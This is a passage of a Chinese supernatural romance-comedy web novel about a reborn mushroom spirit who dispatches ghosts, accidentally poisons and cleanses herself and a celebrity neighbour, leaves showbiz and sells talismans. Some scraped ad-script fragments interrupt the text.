傅时初表情一言难尽。 是,确实不凶。 只是差点把他吓到精神分裂,而已。 苏见青又转向三只鬼,严肃道:“你们郑重向傅老师道歉。” “对不起,我们不是故意的,我们知道错了。”三只九十度大鞠躬。 其中胖男鬼一把鼻涕一把泪的,哭得死相频出,差点把顶流送走: “傅哥,我要知道你能看到,怎么舍得吓你,我可是你的真爱粉。” 傅时初:“……” 有这种真爱粉他折寿! 胖男鬼忍不住又疑惑地问:“不过,你为什么能看到我们啊?” 傅时初也想知道。 今天之前,他竟不知道自己还有“阴阳眼”。 他将视线幽幽地转向苏见青。 “可能因为你身上沾染上少许纸钱的香火。” 她开始思索,进而推断:“它属于阴物,导致短时间内你能看到不该看到的东西。” 纸钱? 傅时初回想那堆凭空冒出的纸钱。 当时半空中掉落的几张还碰到了他的衣服。 “……你不是什么都没看到吗?”顶流脸一黑,绷不住了。 苏见青下意识:“我并没有说没看到啊。” 傅时初:“?” ——“你有看到什么吗?” ——“看到什么?” 死去的记忆攻击他。 她确实没有明确说。 只不过是他自己通过她的神态表情,下了定义。 傅时初不想承认被她误导,似笑非笑地赞了声:“你演技挺不错。” 有阴阳怪气儿那劲儿了。 苏见青连忙补救,表情诚恳殷切:“主要也是担心,实话说了您会害怕。” 对上女孩无私般的诚挚目光,顶流也不好再黑脸。 甚至还安慰自己:经历过今天后,再不会有让他害怕的事了。 他用余光飞快瞥了眼三只安静老实的阿飘,冷静开口:“它们怎么会听你使唤?” 苏见青猜到他会问,早已想好一个绝妙的说辞: “大概因为跳楼时见到了黑无常,他选了我做他人间的代理人。” 反正黑老哥也不会跳出来拆穿她。 还能解释跳楼之后,一个普通人,为什么能精通玄学。 傅时初皱了皱眉。 不知道他信还是没信,总之没再这个问题上过多纠结。 “以后它们会一直在2201?” “不会。”苏见青听出他的言外之意,“等会儿它们就离开了。” “去哪?” “地府。” 三只听到苏见青还愿意让它们去地府,尽皆松了口气。 ——生怕因为吓到傅时初,苏见青生气就不愿意了。 得感激傅时初没有强烈要求对它们做出惩罚。 于是,三只鬼灼灼望着傅时初,从眼睛里投射出来的热度——实际是阴气——冻得傅时初全身、尤其后背冰冰凉。 “……”顶流默默捏紧拳头,“什么时候去?用什么方式去?” 感受到他的迫不及待,苏见青用实际行动向他展示。 她忘了买香,干脆从纸钱里拿出一张,手腕翻动间纸钱燃烧,化成一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 团烟雾。 轻轻一吹,烟雾好似有生命般地扭动,丝丝缕缕地扭成四个字: ——请鬼差至。 几秒后,烟雾消散。 空气中的温度一寸一寸凉了下来,一位马面人身的高大身影缓缓走出来。 来者是牛头马面中的马面。 三只鬼又是激动又是害怕,缩成一团瑟瑟发抖。 傅时初表情空白地用力掐了把自己的大腿。 ……疼的。 “是你叫我?” 马面盯着苏见青,眼睛微微眯起,沉声不悦道: “居然用最低等的纸钱香,还只有一张,你懂不懂礼貌!” “你叫什么名字?” 能用香火唤他前来,必然是玄门中人。 见过抠的,没见过这么抠的,气死他了。 “苏见青。” 听到这个名字的马面身体猛地一震,目光紧紧盯着苏见青。 片刻后,似乎是认出来了,马面咬牙切齿地挤出两个字:“算了。” 然后大手一挥,抓小鸡似的抓住旁边三只鬼,转瞬间没影了。 苏见青后怕地拍拍胸口。 明明是想请一个普通鬼差来着,结果来的是脾气向来暴躁的马面。 吓死蘑菇了。 客厅安静下来,苏见青看到傅时初脸色不太好看,心中有些过意不去,关切慰问: “傅老师,您还好吗?” 傅时初面无表情地盯着她:“你觉得呢。” 前面听苏见青说的那些,他其实信的不多。 现在不得不信—— 跳楼时被黑无常所救,并且选中她作为代理人,所以苏见青才懂这些。 而牛头马面中的马面本来很生气,也因为四舍五入她算是同事,没再计较。 ——顶流的世界观,彻底崩啦。 苏见青安静几秒,提议:“那我……请你吃晚饭?” 傅时初答应了。 表面上:看在你这么诚心的份上,我就勉为其难接受了。 实际上:不想独自回到2202。 ——三只鬼虽然被逮走了,但对顶流留下的影响浓墨重彩。 苏见青本身也很饿了,来到厨房。 她原本打算让鬼佣备菜,自己只需要炒就行了,现在只能亲自动手。 于是苏见青选择最简单的做法,用买回来的食材,做了两碗牛肉面。 然后,她取出存于魂魄中拳头大小的本体。 和千年恶妖同归于尽后,苏见青的本体还能存于魂魄中一同穿过来,是地府给她的福利。 但受的伤无法逆转,所以本体变成小小一朵。 怜爱地摸了摸本体圆嘟嘟的青色小伞,苏见青从中抽出一小把菌丝,洗吧洗吧扔进锅里。 ——不是她自夸,她的本体超好吃! 上辈子苏见青的本体直径超过百米,吃都吃不完。 不管爆炒还是凉拌,味道一绝。 现在本体只有拳头大,只能抽点菌丝放进汤里提提鲜。 她对傅时初的赔礼道歉还是非常有诚意的。 最后出锅,分别洒上葱花,浇上热油,浓郁的香味迅速弥漫。 傅时初原本对晚饭没有期待,留下的目的也不是为了吃饭。 但在苏见青把面端出来时,他竟不受控制地咽了咽喉咙。 “傅老师,你尝尝,小心烫。” 傅时初挑起一筷子吹了吹,塞入嘴里,难以形容的鲜香在口腔里炸开。 顿了顿,他悄然加快进食速度,最后不自觉地连汤也喝光了。 “……还有吗?” “没了。” 顶流的目光有意无意落向苏见青手中那碗。 苏见青:“……” 她默默扒拉着碗,埋头吃,不理。 然后,她突然听到咚的一声,抬头就看到傅时初趴在桌上,一动不动。 苏见青:??? 她急忙起身过去,匆匆检查,最后得出一个结论: 傅时初……好像中毒了? 苏见青懵了,想了一圈也没想出他为什么会中毒。 没有食材有毒啊。 ——等等。 ——难道她的本体是有毒的吗!? 念头刚刚闪过,苏见青眼前一黑,失去意识。 7.007 007: 苏见青的魂体在恍惚间飘出来。 看着地上呈现出和傅时初同样中毒反应的身体,她整个人激灵了下,彻底清醒。 苏见青哆嗦着取出青色小蘑菇,戳它:“不是,你真有毒啊!?我怎么不知道。” 小蘑菇被她戳得倒下,再摇摇晃晃地立起来,圆滚滚的伞盖发出淡淡的柔和光晕。 她陷入沉思,转瞬想明白其中关窍。 上辈子她的身体本就由蘑菇所化,哪怕有毒,吃了自然也不会有任何问题。 现在,苏见青的身体是原主的,货真价实的人类。 于是,就这么水灵灵的中毒了。 苏见青:“……” 讲个笑话,自己把自己毒了。 但问题是! 她的本体可是客栈招牌菜。 不仅味道好,还能美容养颜,延年益寿,从来没人中过毒。 苏见青百思不得其解。 难道是因为本体长得太大,毒素稀释得没了? 现在属于——浓缩就是精华。 可按理说,长得越大,毒素不应该越强吗? 她怎么不走寻常路,反着来! 苏见青想得头都大了,索性抛开这些疑惑,专注眼前: ——该怎么解毒。 她试探性地将青色小蘑菇放在傅时初胸口,没有任何反应。 “乖哈,给点反应。”又换到他脸上。 还是没有反应。 苏见青好声好气的cpu它: “作为一只妖,你不能只管下毒,还要知道怎么解毒,这才是一只合格的菇菇,懂不懂?” “……” 苏见青放弃了。 正当她准备想办法给急救中心打电话时,傅时初和她的身体开始出现变化,皮肤毛孔里渐渐渗出黑色污渍,中毒的反应在退减。 苏见青心中一动,忽然意识到,这是在排除杂质。 所以…… 她的本体把他俩毒了,由于又自带神奇效果。 导致现在就是边中毒边治疗,相当于洗筋伐髓了。 确定两人的身体不会有事后,苏见青松了口气,宝贝地摸了摸青色小菇菇的“脑袋”。 我可真是个大宝贝呢~ 等到杂质排除完,两人皮肤上盖了一层黑泥。 尤其是她,不仅黑,还散发着难言的味道。 苏见青赶紧魂归体内,一进去顿时感觉身体状况比之前好了很多。 傅时初还没醒,她受不了身上散发的味道,起身去了浴室。 污泥被水流冲下,露出白里透红的皮肤,不像之前透着大病初愈的苍白。 等洗得香喷喷,换上干净睡衣出来,就看到傅时初也醒了。 他正一脸不可置信地抬起左手,右手抠上面的黑泥。 当抠下一整块黑泥时,他的表情难看得像是病入膏肓。 听到动静,傅时初看过来,举着黑泥,语气幽幽:“我还活着?” 苏见青感觉到了顶流极大的怨气,顿住脚步,小心翼翼点头,并郑重表示:“活得非常健康。” 傅时初也不知信没信,但她肯定的语气让他表情稍微松缓了些。 他又不是傻子。 吃完面,前一秒还好好的,后一秒就没了意识。 再醒过来,全身跟被刷了黑漆似的,去非洲当土著都没人怀疑。 可见问题的根源就是那碗面! 他没有追问苏见青在面里放了什么,而是转身就走。 留下来可能不会再遇到阿飘。 但会要命! 本来请顶流吃饭是为了赔礼道歉,结果送上的诚意让他中了毒。 结果虽然是好的,可对方受到的惊吓是真的。 傅时初一点不追究,脾气好得完全不像记忆中原主对他的认知。 这让苏见青更加不好意思了。 想着之前他好像没吃饱,她连忙道:“傅老师,要不我再给您煮碗面?” 傅时初长腿迈得更快了,头也不回地拉开大门。 ——还吃?他嫌命长吗! 看来不想再吃了,苏见青快步追上去,友好目送对方进入2202:“傅老师慢走。” 送走客人,她伸了个懒腰。 回到餐桌,看到还剩一半的牛肉面,已经冷了,倒了怪可惜的。 她重新热了下,继续吃。 快吃完时,眼前一黑,又失去了意识。 梅开二度。 猝不及防的苏见青:??? 不是。 她已经被毒过一次了,怎么还会中招!? ……她以为不会再被本体毒到才吃的。 到底是原主的身体太差,还是她的本体太毒?? 再次醒过来后,身体依旧有排出来的污渍,比上次少一些。 也就是说,上次其实并没有将她体内的杂质排干净。 苏见青若有所思—— 岂不是可以借中毒的机会,把这具身体的杂质全部排出来? 最重要的是,她必须锻炼出抗毒性。 不然以后还怎么吃菇菇。 说做就做。 苏见青取出青色小蘑菇,熟稔地抽出一缕菌丝,直接生吃。 甜甜的,带点儿韧劲。 接下来她开始晕倒苏醒,再吃,又晕倒又苏醒的重复循环。 直到最后,成功了。 ——生吃完菌丝没再晕倒。 苏见青大喜。 此时,窗外的天已经由黑变亮,新的一天悄然来临。 而她手里原本胖乎乎的小青菇,瘦了一圈。 看起来可怜巴巴的。 神清气爽的苏见青好似一个黑泥人,她吧唧一口小青菇:“没事,我不委屈。” 阳台上有原主养的盆栽,因为缺少照料,全部死了。 她挑出花盆最漂亮的那个,挖松里面干巴的土壤,浇水打湿,最后把小青菇种了进去。 本体现在还是个宝宝,好在问题不大,它很快会茁壮成长。 然后, 就能出锅啦。 喜滋滋地将小青菇放在床头柜,苏见青去浴室再次洗干净自己。 洗完抹开镜子上的水雾。 一晚上的成果,镜子里的女孩与以往判若两人。 唇色是健康漂亮的樱红,纤长睫毛下因长期失眠累积的青影消散,皮肤嫩滑得像剥了壳的鸡蛋,再不见过去的虚弱和阴郁。 胸口里涌出复杂的感激情绪。 苏见青对着镜子画了个笑脸,温柔地说:“我们的人生才刚刚开始呢。” 身体问题得到全面改善,她开始思考接下来做什么。 原主在娱乐圈得到的是无休止的欺压,并不喜欢艺人这个身份。 她原本的人生规划是大学毕业后,找工作还完助学贷款,再挣一笔钱就回老家。 如果能有幸遇到一个志同道合的伴侣,便和他一起携手共度余生。 找伴侣……苏见青做不到。 其他的是可以实现的。 首先,将艺人的身份标签摘除掉。 …… 苏见青跳楼掀起的巨大风波,依旧还在网上发酵。 几天过去,她的名字在各大平台的热搜上就没下去过。 突然之间又出现一个,迅速飙到榜首。 #苏见青宣布退圈# 几分钟前,苏见青发了一条新微博。 里面是她的一张自拍,对着镜头展露浅浅笑容。 文案内容只有简单的一句话: 重生的第四天,告别艺人岗位,谢谢大家[玫瑰] 网友们十分支持她的这个决定,也更心疼她了。 【娱乐圈带给她的阴影太大了,心疼青宝】 【虽然遗憾以后不能在荧幕上看到你[流泪],但更想让你开开心心的[爱你]。】 【@苏知青,就算退圈了也记得要多发动态哦。】 【其实退圈对苏见青来说是最好的选择,这次风波让她收获到大众的同情和愧疚,以后要是犯点什么错,就会放得更大,还不如退圈,自由自在。】 【宝宝状态这么好,老母亲欣慰。】 【啊啊啊青宝好美!你值得最好的!爱你!】 …… 其次,搞钱。 原主想回老家,那她就回老家干老本行——开客栈。 但这需要启动资金。 目前卡里三位数的余额,距离有点远。 想来想去,最快的方法是把公寓卖了。 苏见青换了身衣服出门,先在早餐店里填饱肚子。 然后走进一家房屋买卖中介公司,把卖公寓的事情委托给对方。 得知小区的名字后,中介公司的老板亲自接待了苏见青。 为了能尽快将公寓买出去,苏见青说出的价格远远低于平均值。 “多少?”老板听完第一反应是自己听错了。 苏见青重复。 确认之后,老板心脏砰砰狂跳—— 这个价格,他都想买了! 要知道公寓所在的小区,房价一直在上涨。 买了绝不会亏。 目送苏见青离开的背影,老板激动得立刻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 给他老婆打电话: “咱家现在总共能拿出多少钱?!” 老婆:“三千。” 老板:“???” 老板:“……” 苏见青不知道心动的老板恨不得立刻拿下小公寓。 她知道就算价格报得低,一时半会儿也没那么容易卖得掉。 在这之前,她得想办法往越来越单薄的余额里充值一点。 路边看到一个算命的,留着小胡子,一副高人模样。 他那摊位上面写着: 一卦三百,不准退钱。 旁边还有一些不知道是什么的药丸,下面标注着价格,两百到三百之间。 一圈人围着他,时不时传出惊呼: “真的神了,看我一眼就知道我腰上有伤。” “哇,大师好厉害。” “这药吃了瞬间就不疼了诶。” 苏见青看到有不少人掏钱买药丸。 她受到启发,回到公寓,拿出昨天买黄表纸和朱砂,迅速画了十张平安符,折成三角揣兜里。 戴上口罩,再次出门。 她用观气术,开始寻找客户。 很快锁定一个青年,她还没走过去,对方突然平地摔了一跤,眼镜都摔出去了。 青年狼狈地起身,弯腰捡起眼镜,镜腿断了,手也摔破了。 “艹。”他不禁骂出声。 “你最近是不是特别倒霉?” 一个低沉的嗓音突然从前方传过来: “一开始只是小事上不顺,没有对身体造成伤害。” “但现在情况越来越严重,每天不是摔伤就是割伤。” 原本满心烦躁的青年听完后直接愣住,震惊地盯着对面戴口罩的女孩。 她说得跟他经历的一模一样。 “你这是宫相逆位,霉运缠身,不解决的话只会越来越严重,甚至危及生命。” 此话一出,本来还在震惊对方说得太准了的青年,瞬间无语地翻了个白眼。 已经够倒霉了,还遇到神棍骗子。 他转身就走。 “年轻人听我一声劝,别过马路。” 青年充耳不闻,继续往前,他要去街对面。 这条路没有红绿灯,他朝两边张望,确认没有车辆过后,抬腿。 ——“别过马路。” 青年脑海里突然蹦出这句话。 他想把这句话甩开,却没想到它往脑子里钻得越来越深刻。 莫名其妙的,那条抬起的腿怎么都迈不出去了。 就这么犹豫的时间,突然一块不知从哪飞过来的铁板片,哐当砸在前面的路上。 距离青年两米远。 如果他刚才走过去,铁板片会正正好的砸中他。 不死也要受场大罪。 青年:“!!!” 他脸色煞白,回过神后猛地往来路跑。 等在原地的苏见青见到青年朝她狂奔时,眼睛轻轻弯了下。 “大师救我!” 苏见青掏出一张平安符:“这个可以保你平安无事。” 青年如获至保般小心翼翼接过:“谢谢大师。” 苏见青:“要钱的。” 青年一愣,咽了咽喉咙,紧张地问:“要、要多少?” 苏见青想了想算命小胡子的标价,斩钉截铁:“三百。” 以为至少五位数起步的青年呆了呆,目光下意识落向她的兜: “大师,您有多少平安符?我可以全买吗?” 诶? 他全要倒省了苏见青再去找其他顾客,她从兜里掏出剩下的九个平安符递过去。 “大师,我可以加你微信支付吗?”以后有什么问题还可以线上问大师。 苏见青没想那么多,双方互加好友,青年转账。 看着快跌至两位数的余额变成四位数,她格外的有满足感。 收工,回家。 刚走出电梯,就看到傅时初从2202里出来。 心情倍儿好的苏见青含笑朝他挥手,眼睛弯成月牙:“傅老师,中午好。” 傅时初:“我不好。” 苏见青:“?” 她打量傅时初的脸色,青白交加,虚弱得活像被吸了阳气。 不应该啊,难道他的体内还有毒??? 目睹苏见青渐渐露出心虚的表情,傅时初阴沉着脸冷笑。 他一晚上没睡,一闭眼就全是各种阿飘的画面。 包括以前看过的那些鬼片,集体在脑海里狂欢。 ——睡不着。 ——根!本!睡!不!着! 8.008 008: 曾经的傅时初是个坚定的唯物主义。 正是这种认知,让他即使深夜也能波澜不惊地看鬼片。 他知道那是假的。 甚至根据经验,能够推测出影片里的恐怖画面是怎么做出来的。 但现在,傅时初的世界观被苏见青重组,还被三只真正的阿飘包围过。 他的大脑会不受控制的,将鬼片里那些画面与现实完美联系。 正所谓细思极恐。 他又是个演员,很容易代入,体验感和身临其镜没什么太大区别。 盯着苏见青白里透红显得气色绝佳的小脸,傅时初面无表情地说: “感谢你,让我的睡眠系统离家出走。” 苏见青瞬间明白过来,傅时初不是余毒未清,单纯就是睡眠不足。 听他这语气,原因多半出在那三只鬼身上,它们留下的影响太重。 它们又是她雇佣的。 重点她还给他扩展了世界观。 四舍五入,可不就是她导致的嘛。 这锅不背也得背。 苏见青垂睫认真思考。 有道是心病仍需心药医,她灵光一闪,顺着傅时初的话说: “我有个办法,可以帮你把睡眠系统找回来。” 傅时初深邃眸底的幽光闪烁了下:“什么办法?” 苏见青胸有成竹地说出四个字:“以毒攻毒。” 傅时初:“?” 他心中隐约升起不好的预感:“比如。” “找一些鬼来陪你一起睡?” 苏见青侃侃而谈,语气轻描淡写: “刚开始睡不着没关系,多试几次,你肯定会免疫。” “等到那个时候,你的睡眠系统自然而然就会回来了。” 傅时初:“……” 搬家,现在就搬家! “你觉得……不行吗?” 看着顶流的表情慢慢沉默,苏见青声音渐渐变小。 傅时初淡淡地反问她:“你害怕什么?” 苏见青想了想:“毛毛虫。” 傅时初嘲弄地扯了下唇角:“你怎么不试试以毒攻毒,和一堆毛毛虫睡?” “可是我不会想到毛毛虫就睡不着啊,”苏见青实话实说,“我们情况不一样。” 傅时初默默握紧了拳头。 苏见青看见了,轻咳一声,突然想起什么:“稍等一下。” 她迅速回2201,找到原主剩下的安定片,把它递给傅时初: “我之前也睡不着,就吃它,现在用不上了,要不你试试?” 既然找鬼一起陪他睡的法子不接受,只能试试其他办法了。 傅时初盯着苏见青,似乎是想起她的悲惨过去,神色有些僵硬地接过,转身回屋。 根据用药说明,他倒下三颗,犹豫了下,又加了两颗。 吃完后,傅时初躺上床。 就着窗外明媚的阳光,意识缓缓陷入蒙昧,直至黑暗。 …… 傅时初缓缓睁开眼睛,清醒地意识到自己在做梦。 梦里的场景,正是某部经典鬼片的著名片段。 而他,成了片段里面把主角吓死的。 阿飘。 “……?” 傅时初一直代入的是正常人视角,被迫受到各类阿飘的视觉冲击+精神污染。 还是第一次体验阿飘视角。 一开始的寒意散去,他几乎条件反射地代入阿飘,扮演它完成“影片”的经典片段。 结束之后,他感觉到了难以言喻的爽感。 梦里的顶流,渐渐开始放肆。 * 回家后的苏见青以昨天买的食材,做了锅土豆炖牛腩。 吃饱喝足后,不想再出门的她,直接花钱让跑腿买了花肥送来。 反正她现在有四位数巨款。 花肥到了后,她给小青菇喂了一勺。 又在房间里画了个小型聚灵符阵——这个世界灵气虽然稀少,挤一挤还是有的。 小青菇放在符阵中间,在花盆里微微摇晃,颜色似乎比之前鲜艳了些。 弄完这些,苏见青打了个呵欠,打算上床小睡片刻。 这时,门铃响起。 通过显示屏,她认出对方是原主的经纪人。 柠檬娱业高层都被请进局子,经纪人也在不安中被问了话。 得知苏见青没事后,她立刻联系,却发现被苏见青拉黑了。 而医院特意被交待保护苏见青,除了警方,其他人不得探望。 经纪人还是通过苏见青发的退圈微博,才知道苏见青回了家。 她找上门的目的很简单。 代表公司没查出问题的股东,和苏见青解约,并补偿她一笔不算多的酬劳。 这倒让苏见青有些意外。 她没有过多难为将姿态放得很低的前经纪人——她不过是听从刘文生的命令。 经纪人心情复杂地看着苏见青。 大概没有人能料到,一个没有任何背景、来自农村的女孩,会以那样绝决的方式,将柠檬娱业送上末路。 并最终幸运地活了下来。 现在的苏见青让她感到陌生。 她像是枯死的玫瑰,在孤注一掷之后,重新焕发生机,明媚灿烂地绽放。 “对不起——” 签字的苏见青,突然听到一个低哑的嗓音。 她手指顿住。 这是来自柠檬娱业的第一个道歉,也是唯一的一个。 原主的怨气和执念瞬间又消散了些。 你看,她要的不多,仅仅一个道歉便满足了。 苏见青没有说话,签完字,收过转账。 至此,与柠檬娱业不再有丝毫瓜葛。 经纪人离开后,苏见青也没了睡意,干脆窝在沙发刷手机。 刷着刷着,门铃又响了。 公寓迎来了第二位客人—— 它的前主人,那位输给原主的富二代。 苏见青从记忆里扒了好一会儿,才扒出对方的名字,原年。 顺便扒出的还有一段关于原年的后续—— 在原年的刻板印象中,或者说他遇到的女人里,都喜欢哭哭啼啼,爱拈酸吃醋,斤斤计较。 他身边从不缺女人,隔一两个月没新鲜感了就换。 反正只要给钱,大把的漂亮女人扑上来。 直到输给苏见青。 在他将尖锐的飞镖射向她时,她明明怕得全身都在发抖,却将眼睛睁得大大的。 面上没有任何表情,像一尊失去灵魂的玩偶。 没有尖叫,更没有求饶和哭泣。 于是原年来了兴趣。 答应苏见青的狮子大张口,特意选的不便宜的公寓,并提出要她成为他的女人。 她毫不犹豫地拒绝了。 原年大概是第一次被女人拒绝。 他表现得不可置信,确认苏见青不是欲拒还迎后,气急败坏的离开了。 原主做好对方会报复的准备。 但等了几天,等来的是原年律师带来的公寓赠送协议。 原年具体人品怎样暂且不论。 至少,他做到了答应的事绝不反悔。 那之后,原主的记忆里便再没出现过原年。 …… 原年的社交平台这几天被苏见青相关消息刷屏。 当初苏见青拒绝他,让他自尊心大受打击。 本来有想过给她点教训,事后又觉得没意思。 只不过一个稍微有点特别的女人而已,他又不缺女人。 大把漂亮女人上赶着讨好他。 于是原年在气了几天后,便将苏见青扔在脑后。 要不是苏见青的事情全网热议,他早忘了对方是谁。 还有不少朋友知道他和苏见青当初那点瓜葛,纷纷向他打趣。 原年嘴上说着滚滚滚,暗地里不自觉在网上搜索苏见青。 今天中午他和一群孤朋狗友散完酒局,在车上看到苏见青退圈的消息。 她发的照片背景透露出是在公寓。 原年鬼使神差地让司机开车到公寓。 上楼的时候酒意消了些,惊觉自己为什么要来。 ——但,来都来了。 然后他就按了门铃。 门打开,原年肆无忌惮地盯着一身家居服的女孩,直接一副理所当然的语气: “我酒喝多了,头疼,你去给我煮杯醒酒汤。” 苏时青用陌生的神态看着他,疑惑询问:“请问你是……?” ?原年猛地瞪大双眼:“你他妈不认识我了?” 苏见青用目光将他从上往下打量,最后陷入沉思状。 原年忍不住了。 他特么这几天天天搜她消息,结果她直接不认识他了。 “苏见青,你可真有种啊。”原年咬牙切齿地开口,“老子是原年!” “哦~”苏见青恍然,“原来是原少。” 然后,就没有然后了。 “你就这反应?” 原年太阳穴青筋一跳一跳,尤其她堵在门口,压根没有要让他进门的意思。 苏见青诧异:“原少想要我怎么做?热情欢迎?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 原年就是这么想的,抬起下巴,居高临下地看着她: “你可别忘了,你现在住的这房子是谁给你的。” “这不是正大光明从你手里赢过来的嘛。” 苏见青微微一笑: “拜原少手抖所赐,全身二十多处伤口,原少应该比我记得更清楚吧。” “如果你忘了,我们一起去警局回忆?” 原年表情滞住,几秒后,他不自然地换了话题施法: “当初要是乖乖听话,跟了我,也不至于被你那破公司当垃圾一样作贱。” “你也算命大,能活下来。” 越说越气,他头一次在女人身上受挫,结果看上的女人被柠檬娱业搞成那样。 柠檬娱业也是在变相打他的脸! 原年决定做件好事,话音一转,继续高高在上地输出: “现在,我可以给你一个后悔的机会,重新选择。” “选择什么?” “做我的女人。” “噗——”苏见青实在没忍住。 这无疑贴脸开大,原年感觉自己受到莫大侮辱:“你他妈……” 残存的酒意被怒火激发,他的手高高扬了起来。 一直没怎么正眼看过他,仿佛在观赏吗喽表演的苏见青,忽然掀起眼皮淡淡地扫了他一眼。 原年的手下意识滞留在半空。 印象中的苏见青死气沉沉的,流露出来的倔强让人内心生出打碎的残酷想法。 拒绝他时,表情隐忍,神态还藏着掩饰不了的惧意。 现在,苏见青眉目间尽是飞扬的明媚,透着勃勃向上的力量。 而她看他的眼神里,没有丝毫情绪。 不知道为什么,原年感觉脊背有点凉。 后脖颈的汗毛也不受控制地竖了起来。 ……像是有什么东西站在他身后,幽幽朝他吹了口气。 “……” 一定是他的错觉! 原年很快反应过来,不承认自己刚才在害怕,更愤怒于自己居然被苏见青一眼看怂了。 但与之相应的是,他的手好似没有经过大脑指令,非常快速地收了回去。 原年更气了。 然后就气笑了——人有时候气到极致,是会笑出来的。 他目光鹰隼般地盯着苏见青,按捺着起伏的胸膛: “我他妈再问你一次,做不做老子的女人。” 该说不该,他对这个问题真的蛮执着的。 就在苏见青看够乐子,准备送富二代圆润离开时, 隔壁2202的门突然打开。 明显睡爽了的傅时初一身真丝睡袍,腰带松松垮垮系在窄腰,长腿带风地走过来。 配上他的动作,以及那张毫无瑕疵的脸,硬是将短短几步走成红毯现场。 然后,他就站在2201的门边,往墙上慵懒一靠,示意他们继续。 苏见青:“……” 原年:“???” “我艹!傅时初,你怎么在这儿?” 原年的家族和傅时初的家族有生意来往,两人从小就认识。 傅时初虽然只睡了几个小时,但在梦里扮演了十多部鬼片里的阿飘,吓翻无数主角配角。 大概看过的鬼片在梦里演完了,他冷不丁就醒了。 醒过来的顶流,强得可怕。 他起身去客厅喝水,听到门外动静,便站在门口听了起来。 于是间接又了解了点苏见青的凄惨过去。 出于或许是怜悯,或许是他自己也不太清楚的原因,傅时初决定去亮个相。 “狗都能在这儿,我为什么不能?” 原年大怒:“你他妈骂我是狗?!” 傅时初似笑非笑地勾了下嘴角:“难得你能听懂。” 原年:“……” 原年突然反应过来,盯着他,狐疑地问:“你俩什么关系?” 傅时初懒洋洋地把玩手指,充耳不闻。 原年干脆转向苏见青。 苏见青很给面子的回答了他。 她认真回想,昨晚她和傅时初尽皆中毒倒下,四舍五入就是—— “我们是一起睡过的关系。” 傅时初:“?” 傅时初:“??” 傅时初:“???” 他看着苏见青不似胡乱说的表情,瞳孔剧烈收缩。 等等! 昨晚失去意识的时候,苏见青到底对他做了什么?! 想起身体上的那些变化,顶流身体缓缓挺直,表情逐渐凝固。 ——她是不是对他采阳补阴了!!! 9.009 009: 苏见青和傅时初四目相对。 一个神态坦然,毫不心虚。 一个目光灼灼,晴天霹雳。 然而落在原年眼中,两人的眼神分明是在疯狂拉丝。 他黑着脸怒气冲冲地离开了。 苏见青:“?” 她有些意外原年的干脆利落,好在这个结果让她十分满意。 避免了她使用非正常手段让对方离开。 毕竟原主对这个富二代没有恨意,甚至还有些许感激。 相比较她遇到的那些人渣,原年足以称得上是个正常人。 哪怕缺点无数,至少没有强迫和报复过她。 尽管苏见青不认同,却也尊重。 她清楚原主遇到的好意太少,只需一点点,便能让她深深记在心里。 所以,苏见青才耐心给予原年输出的机会。 也算了结原主和他之间的这段因果。 想起傅时初还在旁边,苏见青刚准备说话,却发现傅时初已经转身,头也不回地进了2202。 ……似乎不太想搭理她。 顶流心海底针。 苏见青懒得去想为什么,返回屋内,继续窝在沙发上玩手机。 现代世界的网络确实有意思,足不出户就可以了解世间百态。 人类更不会为了最基本的粮食发愁。 哪像上辈子,许多地方闹饥荒,死了无数的人。 冤魂凝聚出来的煞气又去残害周边城镇,如此循环往复。 她曾经有段时间觉得太无聊,便关了客栈去游历。 结果有趣的事压根没见到太多,外面到处都是怨气。 用网络语来表达——她在很短的时间内就被搞得emo了。 于是灰溜溜地回了客栈。 那之后除非有人请,几乎不再离开。 苏见青摇摇脑袋,将突然弹出来的过往记忆挥开,正好从手机上看到航空app机票打折的广告。 她一愣,忽然意识到现在可以买机票回老家了。 前经纪人的转账,让苏见青瞬间拥有六位数的巨款。 她仔细算了算,感觉省着点花,开客栈应该够了。 苏见青坐直身体,也就是说,公寓不用卖了。 她立刻给上午那家中介公司的老板打电话,取消委托。 老板都回去和老婆商量了,夫妻俩决定筹钱先拿下。 听到这个消息,差点没绷住: 果然,捡便宜的好事永远轮不到他。 苏见青哪里知道自己的一个电话险些让老板心碎。 结束通话后她马上研究机票。 对比票价,选择了便宜一半的凌晨航班。 苏见青准备行李,看了一圈,发现没什么可收拾的。 护肤品根本用不着,每天吃几口小青菇就好了。 化妆品也不需要。 最后,她往包里塞了几件换洗衣服,以及剩下的纸钱,黄表纸,朱砂和毛笔。 等到时间差不多,苏见青抱着小青菇,打了个车直奔机场。 机场人来人往,她被几个女孩认了出来。 她们激动得眼圈都红了。 围着苏见青小心翼翼问了几个问题,都是关于她身体健康的。 最后和她合了个影。 分开后,她们发合影到社交平台,把苏见青夸了又夸,在评论里回复其他网友。 【青宝说,她会将得来的第二次生命,好好的为自己而活。】 【她的状态真的超级好,身体很健康,笑起来像个小太阳。】 有网友注意到苏见青抱的小青菇,评论: 【好水灵可爱的蘑菇,有人知道是什么品种吗?】 下面回复: 【不知道耶,我也觉得好可爱,第一眼就注意到这朵菇菇。】 【认不出来,感觉长得呆头呆脑的。】 【哈哈哈青宝是把它种起来吃吗。】 【我在网上搜同款,没搜出来。】 【有没有这方面的专家,鉴定一下。】 …… “这是什么蘑菇?” 坐上飞机,苏见青的邻座目光被小青菇吸引,好奇询问。 苏见青摇头:“我也不知道。” ——她确实不清楚自己是什么蘑菇。 把她拐走的老道士也不知道。 山里蘑菇那么多,并不是每种都有名字。 他一开始给苏见青取名字叫青菇。 那会儿苏见青哪怕年龄还小,懵懵懂懂,也知道老道士是在敷衍她。 于是不满抗议。 老道士怕她哭,赶紧哄,想半天想出见青二字,随他的姓。 意思是在满山蘑菇里,第一眼就见到她这朵青色小蘑菇,多有纪念意义啊。 苏见青给他一顿忽悠,顿觉自己的名字非常好,老满意了。 等到大一点回过味来,老道士不还是在敷衍她嘛。 她要是其他不太漂亮的颜色。 比如黑色,那不得叫苏见黑? 糟老头子就是坏得很! “我可以拍个照吗?”邻座和苏见青攀谈了会儿,越看小青菇越觉得可爱。 本体被人喜欢,苏见青眼睛弯成漂亮月牙:“可以的。” 邻座连拍好几张,发给朋友。 